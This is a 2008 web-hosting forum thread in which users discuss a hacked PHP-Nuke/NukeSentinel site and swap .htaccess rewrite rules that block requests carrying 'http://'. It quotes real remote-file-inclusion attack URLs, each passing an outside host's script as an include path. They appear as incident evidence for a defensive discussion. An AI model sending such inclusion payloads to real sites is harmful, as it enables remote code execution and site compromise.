Site hacked with sentinel

Posted: Mon Jan 21, 2008 7:27 pm

Probably a weak point in sentinel or patch.

A site is hacked, using phpnuke7.6pl3.* AND NukeSentinel 2.5.15

this is the link they used :
http://ww w.drunkenmastersguild.eu/modules/admin/admin.php?root=http://boludalnet.freehostia.com/57.gif?%22

unfortunately the user of the site deleted all of his access logs Shocked

this is all whats left.
asked the hoster if they can find anything in the serverlogs

upgradedb.sql and folder nsnst_installer in the screenshot where not on the server.
Also not in a backup file !!

Site is now replaced with latest RN en NS
waiting for them to try again.

thnx Zeromechanic

screenshot :

registered · Site Admin Joined: Jun 04, 2004 Posts: 6437

This looks strange - but you should first be very careful about what and how much information you post on a public site (no need to give more script kiddies an invitation).

I doubt it's a problem with Sentinel or a patch. Does the site have admin authentication on admin.php?

Posted: Mon Jan 21, 2008 10:07 pm

I was just looking at your posting and puzzling too. Sentinel specifically looks for the "http" in a query string while it is filtering out XSS attacks and it should have found the one you posted. But then I looked at the address bar and it shows Coppermine. I've never used the product and can't testify from experience, but from what I've seen on these forums over the years, it introduces a number of security holes. That may be responsible for what you saw.

Worker Joined: Aug 26, 2007 Posts: 236

I use these lines added in .htaccess to avoid cross scripting by hackers and it works very well:

RewriteEngine On

RewriteCond %{QUERY_STRING} .*http:\/\/.* [OR]
RewriteCond %{QUERY_STRING} .*http%3A%2F%2F.*
Rewriterule ^.* - [F]

Posted: Tue Jan 22, 2008 3:28 am

You would need to determine if 'script blocking' was actually turned on in the NukeSentinel configuration.
Nuke Sentinel should have stopped that particular attack in any event BUT only if the relevant blocker is turned on.
The path suggests the attack originated from a compromised Coppermine gallery - again!

registered · Posted: Tue Jan 22, 2008 10:27 am

I don't recognize the module being attacked
modules/admin/admin.php?root=

There is no such admin module in standard phpNuke.
Do you have a backup of the affected site somewhere (not public of course)?

Posted: Wed Jan 23, 2008 12:01 am

indeed coppermine, but what i see its "included"in index.php?http://..........

they gained acces with the first link, and used the "coppermine" to access ftp, or something like that.

No serious damage was done btw.

also thought so that NS will block these strings. But good one about the "activating" of the blocker.
didn't think about that.

There should be a backup of the site, but dbase I dont't know

Posted: Wed Jan 23, 2008 12:16 am

Well index.php? itself with no parameters should not be exploitable either, unless there was some weird code already there.

I don't mind looking at your backups, if you think it was indeed patched up-to-date.

Posted: Wed Jan 23, 2008 4:17 pm

thnx,
All blockers where activated.

There is a backup, but not from the "hacked" site but from before the hack.

I will send the contact from the hosting to this topic.

Posted: Wed Jan 23, 2008 6:31 pm

Send it to me by Private Message, you probably don't want it out-in-the-open.
The access logs would help, if you still had some references to them. But I guess since you said they were deleted, they are probably gone.

registered · Posted: Thu Jan 24, 2008 11:15 am

slackervaara wrote:

I use these lines added in .htaccess to avoid cross scripting by hackers and it works very well:

RewriteEngine On

RewriteCond %{QUERY_STRING} .*http:\/\/.* [OR]
RewriteCond %{QUERY_STRING} .*http%3A%2F%2F.*
Rewriterule ^.* - [F]

BTW, these do not work for me. I have a script which notifies me when certain errors codes are "hit" and the above should be stopping ALL of these query string http:// stuff from dropping into nuke at all.

Are you certain these are working for you? Are on Apache 2.x by chance?

Posted: Thu Jan 24, 2008 6:01 pm

%{QUERY_STRING} fails for me .. I end up using %{THE_REQUEST}

Posted: Thu Jan 24, 2008 9:24 pm

It seems to work for me at least. My test server is Xampp 1.6.4 with apache 2.2.6, but I don't know the apache version of my web hotel, but I think its older.

When, I tested my test server I got forbidden error 403, when trying cross scripting, but no such error without this in .htaccess.

After I added this to my .htaccess on the web hotel, Sentinel have not been activated by cross scripting despite daily attempts according to the logs.

Posted: Fri Jan 25, 2008 7:40 am

evaders99, thank you, thank you, thank you! I get hundreds of these attempts per day caught by a script of mine and so I should very quickly see if this stops them cold. I did test it just now and it seems to work finally. THANKS!

Posted: Fri Jan 25, 2008 2:41 pm

I get hundreds of attempts too Wink

Now if I only had a filter for POST data, then I really could run everything in .htaccess rules

Posted: Fri Jan 25, 2008 4:50 pm

evaders99 wrote:

%{QUERY_STRING} fails for me .. I end up using %{THE_REQUEST}

Code:

RewriteEngine On





RewriteCond %{THE_REQUEST} .*http:\/\/.* [OR]


RewriteCond %{THE_REQUEST} .*http%3A%2F%2F.*


Rewriterule ^.* - [F]

Hey that seems to work pretty nice, both thnx for sharing Very Happy

Btw, are there any major differences between using 'QUERY_STRING' or 'THE_REQUEST' ?

registered · Posted: Fri Jan 25, 2008 7:04 pm

So this stops the query before Sentinel even sees it, right? Are there any legitimate cases where you would have http: in a GET query that this blocks?

Posted: Fri Jan 25, 2008 7:12 pm

I have had it for months on my system and I checks the logs on a daily basis, but I have not yet found any legimate case that have been blocked by this.

Posted: Sat Jan 26, 2008 5:59 am

Gremmie wrote:

So this stops the query before Sentinel even sees it, right? Are there any legitimate cases where you would have http: in a GET query that this blocks?

Yes there is, but these functions are rarely used and there are work-arounds. For example, testing a submitted web link or download. There are other admin functions like these as well.

But, again, I'd rather stop these before even getting to php... Wink

BTW, Thanks again Evaders! You were right on the money with that change. THE_REQUEST has essentially killed around 80 notifications that I would have gotten...

worship

Posted: Sat Jan 26, 2008 3:58 pm

With RN and NS .15 installed
Already stopped 58 hacking attempts.
Filter

This is the link they are trying:
w*w.drunkenmastersguild.eu/modules.php?name=News&file=article&sid=13//modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=http://party4you.ch/new/id.txt?

Posted: Sat Jan 26, 2008 6:15 pm

I have been HAMMERED by that one all night....

Posted: Sun Jan 27, 2008 8:20 am

put these rewrite statements in your .htaccess (may have to run the rewrite engine on) as was mentioned above and these all disappear! I was literally getting upwards of hundreds. After putting those in. ZERO of these attacks getting to PHP.

RewriteCond %{THE_REQUEST} .*http:\/\/.* [OR]
RewriteCond %{THE_REQUEST} .*http%3A%2F%2F.*
Rewriterule ^.* - [F]

Worker Joined: Nov 17, 2006 Posts: 222

many thanks to all of you i am not so sure that this will work on mine but what the heck Smile

)) thanks to the expert here

but my rewrite rule is this? can it work?

Code:

RewriteRule ^.*$ http://127.0.0.1 [R,L]

Posted: Thu Feb 21, 2008 7:43 am

Sure, http://127.0.0.1 will just bounce the request back to user. - (hyphen) will just kill further processing with no response. Either way is fine.

Posted: Tue Feb 26, 2008 2:13 am

thanks evaders i just wanted to stop their silly act. Smile